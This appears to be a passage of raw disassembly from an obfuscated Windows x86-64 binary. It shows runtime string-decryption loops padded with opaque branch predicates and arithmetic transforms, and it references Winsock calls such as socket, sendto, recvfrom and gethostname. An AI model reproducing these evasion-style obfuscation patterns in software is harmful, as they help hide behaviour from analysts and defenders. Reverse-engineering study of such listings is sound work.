lea ecx, [r11 + 0x25]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 3
sub r11b, 0x5f
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x67
add r11b, r8b
add r11b, dil
mov byte [rbp + r10 + 0x70], r11b
add rbx, r9
jmp 0x1400465a0
lea ecx, [r10 + 0x33]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x65
add rbx, r9
jmp 0x1400465a0
lea rax, [r10 + r14]
and dl, al
add dl, dl
sub r8b, dl
lea edi, [rax + r8]
add dil, 0x39
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140045e76
lea rcx, [r10 + r12]
and dl, cl
add dl, dl
movzx edi, r8b
sub dil, dl
sub dil, 0x29
add dil, cl
lea edx, [r10 - 0x6d]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
sub cl, 5
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x70], al
inc r9
add rax, r9
sub r10, rax
lea ecx, [r10 + 0xc]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x54
add r8b, cl
mov byte [rbp + r10 + 0x70], r8b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x70]
add rax, r9
add r10, rax
inc r10
jmp 0x140045e76
lea rax, [r10 + r15]
and dl, al
add dl, dl
sub r8b, dl
lea edi, [rax + r8]
add dil, 0x13
movzx eax, byte [rbp + r10 + 0x70]
add rax, r9
add r10, rax
inc r10
jmp 0x140045e76
sub r10b, 0x23
movzx eax, r8b
and al, r10b
add al, al
sub r8b, al
lea edi, [r10 + r8]
sub dil, 0xb
jmp 0x140045e73
sub r10b, 0x15
movzx eax, r8b
and al, r10b
add al, al
sub r8b, al
lea edi, [r10 + r8]
sub dil, 0x6d
jmp 0x140045e63
lea rdx, [rbp + 0x1480dbc]
jmp 0x1400466ad
lea rdx, [rbp + 0x875b35]
jmp 0x1400466ad
lea rdx, [rbp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
xor eax, eax
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], rax
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], al
jne 0x1400466d0
lea rcx, [rbp + 0x138]
call fcn.1400413d0
lea r13, [rbp + 0x138]
mov dword [rbp + 0xb0], 0xd3dcd2d0
mov word [rbp + 0xb4], 0xd6d1
mov byte [rbp + 0xb6], 0x88
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb7], xmm0
mov word [rbp + 0xc7], ax
movabs rsi, 0xd2d8977200b1b795
movabs r15, 0xc3ec241e04dc0513
movabs r12, 0x1e3af53a037895e9
movabs r14, 0x7889c656021526bf
movzx edi, byte [rsp + 0x20]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x19
jae 0x1400472b1
movzx r9d, byte [rbp + r11 + 0xb0]
mov rdx, r9
nop dword [rax]
cmp rbx, r11
ja 0x1400472a8
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400467ac
lea rcx, [r11 + rsi]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x13
jmp 0x1400467e6
je 0x14004723a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400471db
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140047194
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140047173
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004712f
cmp r8, r11
ja 0x14004729f
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140046813
lea ecx, [r11 + 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x71
jmp 0x140046840
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140047114
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400470f4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400470c2
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140046d9b
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140046d7d
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140046d59
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140046d38
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140046d15
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140046cf6
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140046cd7
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140046cbc
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140046ca1
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140046c74
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140046850
lea rbx, [r8 + 6]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140047282
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140047265
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140046a3a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140046a1f
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140046a04
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140046c28
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140046be3
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140046ba3
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140046b7d
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140046850
lea rbx, [r8 + 4]
lea r8, [rbx + 9]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140046b50
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140046b35
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140046b16
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140046af7
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140046ad8
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140046ab9
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140046a98
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140046a74
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140046a55
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140046850
lea rbx, [r8 + 0x20]
lea r8, [rbx + 6]
jmp 0x140046850
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x51
jmp 0x140046840
lea ecx, [r11 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
jmp 0x1400467e6
lea ecx, [r11 - 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 5
jmp 0x140046776
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx edx, r11b
jmp 0x140047148
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
inc r8
dec r11
inc r11
jmp 0x140046763
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
dec r11
inc r11
jmp 0x140046763
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
movzx r10d, r11b
jmp 0x140047082
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400470d8
lea edx, [r11 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400470db
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400471ae
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x1400471f5
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046763
lea ecx, [r11 - 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x17
mov byte [rbp + r11 + 0xb0], dil
inc r11
jmp 0x140046763
lea ecx, [r11 + 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3d
cmp r8, 0x3e8
jb 0x140046b93
movzx edx, r11b
lea ecx, [rdx + 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x24]
jmp 0x140047148
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
cmp rbx, 0x20
jae 0x140047060
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140046f84
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x140046bb9
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
lea rax, [r8 + rbx]
cmp rax, 0x40
je 0x1400470a6
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140046ec3
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x79
jmp 0x140046bf9
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046763
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x1400471f5
lea ecx, [r11 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x1400471ae
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400470db
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400470d8
movzx r10d, r11b
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140047082
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
dec r11
inc r11
jmp 0x140046763
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140046763
movzx edx, r11b
lea ecx, [rdx + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
jmp 0x140047148
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140046dbf
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x140046c3e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140046df5
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046763
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140046e19
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x1400471f5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140046e41
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400470d8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140046e6b
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
dec r11
inc r11
jmp 0x140046763
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140046e98
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
inc r8
dec r11
inc r11
jmp 0x140046763
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140046c3e
movzx edx, r11b
lea ecx, [rdx - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x140047148
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140046eea
movzx edx, r11b
lea ecx, [rdx - 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x53
jmp 0x140047148
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140046f14
lea ecx, [r11 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
dec r11
inc r11
jmp 0x140046763
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140046f38
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x45
jmp 0x1400470d8
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140046f5c
lea ecx, [r11 - 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6f
jmp 0x1400471ae
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140046bf9
lea ecx, [r11 - 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x49
jmp 0x1400471f5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140046fba
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046763
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140046fe2
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400471ae
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004700b
movzx r10d, r11b
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140047082
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140047035
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r11
inc r11
jmp 0x140046763
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140046bb9
movzx edx, r11b
lea ecx, [rdx + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x140047148
movzx r10d, r11b
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r11 + 0xb0]
sub cl, al
add cl, 0x24
lea edi, [rcx + rcx]
add dil, dl
add r10b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x35
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0xb0], r9b
jmp 0x1400470d8
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400471ae
lea ecx, [r11 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140046763
lea ecx, [r11 - 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
dec dil
dec r11
inc r11
jmp 0x140046763
movzx edx, r11b
lea ecx, [rdx + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
jmp 0x140047148
movzx edx, r11b
lea ecx, [rdx + 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x69
sub dl, 0xd
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
add r9b, 0x5b
add r9b, dl
mov byte [rbp + r11 + 0xb0], r9b
inc r8
dec r11
inc r11
jmp 0x140046763
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
dec r11
inc r11
jmp 0x140046763
lea rcx, [r11 + r15]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x7b
add dil, cl
lea edx, [r11 + 0x47]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0xf
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xb0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x1400471f5
lea rcx, [r11 + r12]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x5f
add dil, cl
lea ecx, [r11 - 0x24]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 4
add r9b, cl
mov byte [rbp + r11 + 0xb0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046763
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x39
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046763
add r11b, 0x69
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
add dil, 0x21
jmp 0x140046760
add r11b, 0x3f
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
add dil, 0x47
jmp 0x140046746
lea rdx, [rbp + 0x16758cc]
jmp 0x1400472b8
lea rdx, [rbp + 0x1591061]
jmp 0x1400472b8
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x158]
call fcn.1400432c0
nop
mov rdx, r13
mov rcx, rax
call fcn.140044e80
lea rax, [rbp + 0x178]
mov qword [rbp + 0xf0], rax
mov dword [rbp - 0x20], 0xfcf9fe94
mov dword [rbp - 0x1c], 0xe8b4f5f5
mov word [rbp - 0x18], 0xeaed
mov byte [rbp - 0x16], 0x62
xor eax, eax
mov qword [rbp - 0x15], rax
mov byte [rbp - 0xd], al
movabs r14, 0x83df8e93f9d34632
movabs r12, 0x935dc8e3e1205efa
movabs r15, 0x8b9eabbbed79d296
movzx edi, byte [rsp + 0x20]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x14
jae 0x14004799e
movzx r9d, byte [rbp + r10 - 0x20]
mov r11, r9
nop dword [rax + rax]
cmp rbx, r10
ja 0x140047995
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x14004737c
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x5e
jmp 0x140047390
je 0x140047945
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400478e6
nop
cmp r8, r10
ja 0x14004798c
cmp rbx, rdx
jae 0x1400473ba
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400473d0
je 0x14004789b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140047876
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400474c7
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400474a8
lea rbx, [r8 + 0x10]
lea r8, [rbx + 2]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14004796f
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140047438
lea rbx, [r8 + 2]
lea r8, [rbx + 0x400]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14004747a
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140047457
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x20]
jmp 0x1400473e0
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140047345
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x1400478b9
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140047335
movzx r11d, r10b
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x1400478b9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004757b
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x14004782c
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14004762d
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
cmp rbx, 0x10
jae 0x1400477cd
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14004770a
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
cmp r8, 2
jb 0x1400477c0
movzx r11d, r10b
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r9b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x1400478b9
jne 0x1400475a7
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140047335
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400475d3
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140047847
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400475fb
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
movzx r11d, r10b
jmp 0x1400477ee
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400474ea
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140047335
jne 0x14004764e
movzx r11d, r10b
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x1400478b9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004767f
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140047335
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400476a7
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140047813
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400476d3
movzx r11d, r10b
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140047847
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004751d
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140047335
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140047741
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140047335
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047769
movzx r11d, r10b
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x140047847
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140047792
movzx r11d, r10b
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400477ee
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004754d
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x140047335
mov byte [rbp + r10 - 0x20], dil
inc r10
jmp 0x140047335
movzx r11d, r10b
lea edx, [r11 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
add dil, r9b
add dil, dl
sub r11b, 0x7e
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, dil
add cl, r9b
add cl, r11b
mov byte [rbp + r10 - 0x20], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140047335
movzx r11d, r10b
lea edx, [r11 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x1a
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x4a
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 - 0x20], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140047904
lea ecx, [r10 - 0x1e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2e
inc r8
dec r10
inc r10
jmp 0x140047335
movzx r11d, r10b
lea edx, [r11 + 0x7e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x72
add dil, dl
add r11b, 0x1e
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 - 0x20], cl
inc r8
dec r10
inc r10
jmp 0x140047335
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 - 0x20], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140047335
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1a
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140047335
sub r10b, 0x6a
movzx eax, r9b
